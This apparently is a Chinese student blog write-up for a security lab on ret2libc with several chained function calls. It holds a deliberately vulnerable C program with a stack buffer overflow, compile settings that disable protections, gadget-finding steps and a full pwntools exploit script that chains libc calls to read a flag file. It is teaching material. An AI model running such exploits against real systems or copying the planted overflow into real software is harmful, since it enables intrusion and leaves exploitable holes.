嘘~ 正在从服务器偷取页面 . . .

ret2libc多函数调用


实验环境

操作系统 & 工具

  • 操作系统:5.16.0-kali7-amd64

  • pwntools

    apt-get update
    apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
    python3 -m pip install --upgrade pip
    python3 -m pip install --upgrade pwntools
    

Tips:由于需要在命令行中使用cyclic、readelf、ropper等工具,需要将工具的所在位置“/home/kali/.local/bin”添加到PATH中,这里采用了方法二

  • pwngdb

    git clone https://github.com/pwndbg/pwndbg
    cd pwndbg
    ./setup.sh
    

安装成功后结果如图

image-20220420192235374

rop程序

/* stack.c */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>

void start() {
  printf("IOLI Crackme Level 0x00\n");
  printf("Password:");

  char buf[64];
  memset(buf, 0, sizeof(buf));
  read(0, buf, 256);

  if (!strcmp(buf, "250382"))
    printf("Password OK :)\n");
  else
    printf("Invalid Password!\n");
}

int main(int argc, char *argv[]) {

  setreuid(geteuid(), geteuid());
  setvbuf(stdout, NULL, _IONBF, 0);//直接从流中读入数据或者直接向流中写入数据,而没有缓冲区
  setvbuf(stdin, NULL, _IONBF,0);

  start();

  return 0;
}

编译 & 系统选项

  • stack保护(stack canary),默认开启

    • -fno-stack-protector / -fstack-protector
  • NX(No-eXecute),默认开启

    • 即不可执行保护

    • -z execstack

  • PIE,默认开启

    • 每次加载程序时变换加载地址
    • -no-pie / -pie
  • 32位编译选项

    • -m32
  • ASLR设置

    • sudo sysctl -w kernel.randomize_va_space= 0关闭 / 2开启)
#完整的编译指令
gcc -m32 stack.c -o stack -fno-stack-protector

Tips:使用“-m32”可能会报错“/usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h”,原因是gcc安装环境没有安装完善,使用sudo apt install gcc-multilib即可解决。

执行步骤

cyclic获取溢出点

进入pwngdb,使用cyclic 100生成100字节的字符串作为程序输入

$ gdb ./stack
pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> run
Starting program: /home/kali/Desktop/SysSecurity/stack
IOLI Crackme Level 0x00
Password:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

观察到程序崩溃并给出一个无效地址

image-20220420194344949

用改地址回到cyclic进行比较,可以知道溢出点位置为76

image-20220420194503718

获取PR/PPR/PPPR的地址

什么是ROP系统攻击

通用gadget详解

(一个P对应一个参数,在使用了某个函数后需要使用POP指令将其参数从栈中弹出)

ropper --file ./stack | grep "pop" | grep "ret"

image-20220420195013287

这是这几个gadget在程序中的偏移地址,在使用时需要加上程序加载的基地址。

获取lib加载地址

pwndbg中使用print

image-20220420195237389

再通过readelf工具获取上述函数在libc中的偏移地址,想减计算出libc的加载地址

image-20220420195514093

获取程序加载地址

通过查找程序中特殊字符串的地址偏移地址相减,获得程序加载地址

#在命令行中
ropper --file ./stack --string "Password OK"

得到偏移地址

image-20220420195808275

#在pwndbg中
b main        #在main函数前设置断点
run
search "Password OK"

得到字符串执行时的地址

image-20220420200015846

完成攻击脚本

from pwn import *
p = process("./stack")

PR = 0x0000138b
PPR = 0x0000138a
PPPR = 0x00001389

#字符填充
payload = b'A' * 76

#根据system地址获取libc加载地址
system_addr = 0xf7dfdd00
system_offset = 0x00044cc0
libc_load_addr = system_addr - system_offset

#用到函数的地址
printf_addr = 0xf7e0cf10
open_addr = 0xf7eaa770
write_addr = 0xf7eaad50
read_addr = 0xf7eaac90
puts_addr = 0xf7e284e0
gets_addr = 0xf7e27a00
exit_addr = 0xf7df0680

#bss段地址,可通过readelf -S ./stack查看
bss_offset = 0x00004038
#bss2手动设置的缓冲区
bss2_offset = 0x00004038 + 20
passwd_ok_offset = 0x00002031
passwd_ok_addr = 0x56557031
load_addr = passwd_ok_addr - passwd_ok_offset

payload += p32(gets_addr) # gets
payload += p32(PR + load_addr)
payload += p32(bss_offset + load_addr) # 读取数据到bss

payload += p32(puts_addr) # puts回显
payload += p32(PR + load_addr)
payload += p32(bss_offset + load_addr) # 输出bss数据

payload += p32(open_addr)
payload += p32(PPR + load_addr)
payload += p32(bss_offset + load_addr) # 打开bss中的目标文件,即flag文件
payload += p32(0)

payload += p32(read_addr)
payload += p32(PPPR+ load_addr)
payload += p32(3) # “3”即时open函数得到的flag文件对应的句柄
payload += p32(bss2_offset + load_addr) # 读到bss2缓冲区
payload += p32(20)

payload += p32(write_addr)
payload += p32(PPPR+ load_addr)
payload += p32(1) # 标准输出
payload += p32(bss2_offset + load_addr) # 将bss2缓冲区的数据输出到标准输出
payload += p32(20)

payload += p32(exit_addr)
payload += p32(0xdeadbeef)
payload += p32(0)

print(payload)

p.sendline(payload)

p.interactive()

代码依次执行了gets——>puts——>open——>read——>write函数,执行了如下的功能

  1. gets函数读取程序员手动输入的文件路径,将其保存在bss
  2. puts函数对bss中的数据进行输出(验证是否正确保存)
  3. open函数打开对应文件,得到文件句柄**”3”**
  4. read函数从文件中读取数据到bss2
  5. write函数将bss2中的数据输出到标准输出

执行结果如下所示:

image-20220420201534875

开启ASLR再次执行

#开启ASLR
sudo sysctl -w kernel.randomize_va_space=2

发现无法正常执行

image-20220420201841071

参考连接

信息系统安全Lab1 - 胡思乱想集散中心 (qeryu.github.io)


版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 樱桃会长成樱花树吗 !
  目录